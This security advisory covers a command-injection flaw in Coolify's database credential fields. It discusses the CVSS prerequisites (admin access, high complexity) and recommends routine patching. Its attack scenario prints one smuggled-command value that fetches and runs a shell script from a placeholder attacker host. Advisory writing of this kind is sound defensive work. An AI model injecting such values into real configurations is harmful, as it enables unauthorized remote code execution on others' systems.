Coolify EUVD-2026-41999

Exploitation requires an active, authenticated Coolify administrator session (confirmed by CVSS PR:H). An unauthenticated or non-admin user cannot reach the database credential configuration API endpoints. Beyond authentication, the attack requires CVSS AC:H-level complexity: the injected payload must be structured to survive YAML multi-line parsing without breaking document syntax, and shell metacharacters must not be inadvertently escaped by intermediate processing layers. Specifically, the vulnerable path is triggered when a database service managed by Coolify (Redis, KeyDB, Dragonfly, ClickHouse, PostgreSQL, or MySQL) has a credential field set to a malicious value and that service's Docker container is created or restarted, causing Coolify to render the YAML and pass the command: string to the Docker daemon for execution. What limits exploitation: the PR:H requirement means that a separate admin credential compromise must precede this attack; the AC:H complexity means generic payloads may fail without tuning; and the scope remains container-bounded (S:U) unless further container-escape techniques are chained.

The NVD-assigned CVSS 3.1 score of 3.3 (Low) with vector AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N accurately captures the dominant risk-reduction factor: exploitation requires a fully-authenticated Coolify administrator account (PR:H). This is not an unauthenticated or low-privilege attack - the adversary must first own admin credentials, which radically narrows the threat population to insider threat actors or those who have already compromised an admin session. The AC:H rating further acknowledges that a payload must survive both YAML parsing rules and shell interpretation without mangling. No CISA KEV listing exists, no public POC has been identified, and EPSS probability data was not included in the provided intelligence. Despite CWE-78 commonly being associated with critical-severity findings, the compound prerequisites here - admin auth plus careful payload crafting - keep operational risk low for most deployments. The real-world threat model is a scenario where Coolify admin credentials are separately compromised, and an attacker then leverages this flaw for container-scoped command execution and lateral movement. Organizations should treat this as routine patch-cycle work rather than emergency response.

An attacker who has obtained Coolify administrator credentials - through phishing, credential stuffing against a weak password, or an insider threat - navigates to a database resource configuration page and sets a credential field such as redis_password to a value like validpass; wget -qO- http://attacker.example/shell.sh | sh. When Coolify interpolates this value into a Docker Compose YAML command: string and the container is subsequently started or restarted, the injected command executes within the container's runtime context. No public POC exists at time of analysis, but the vulnerability class - unsanitized string interpolation into a shell-interpreted YAML field - requires no advanced tradecraft once admin access is secured.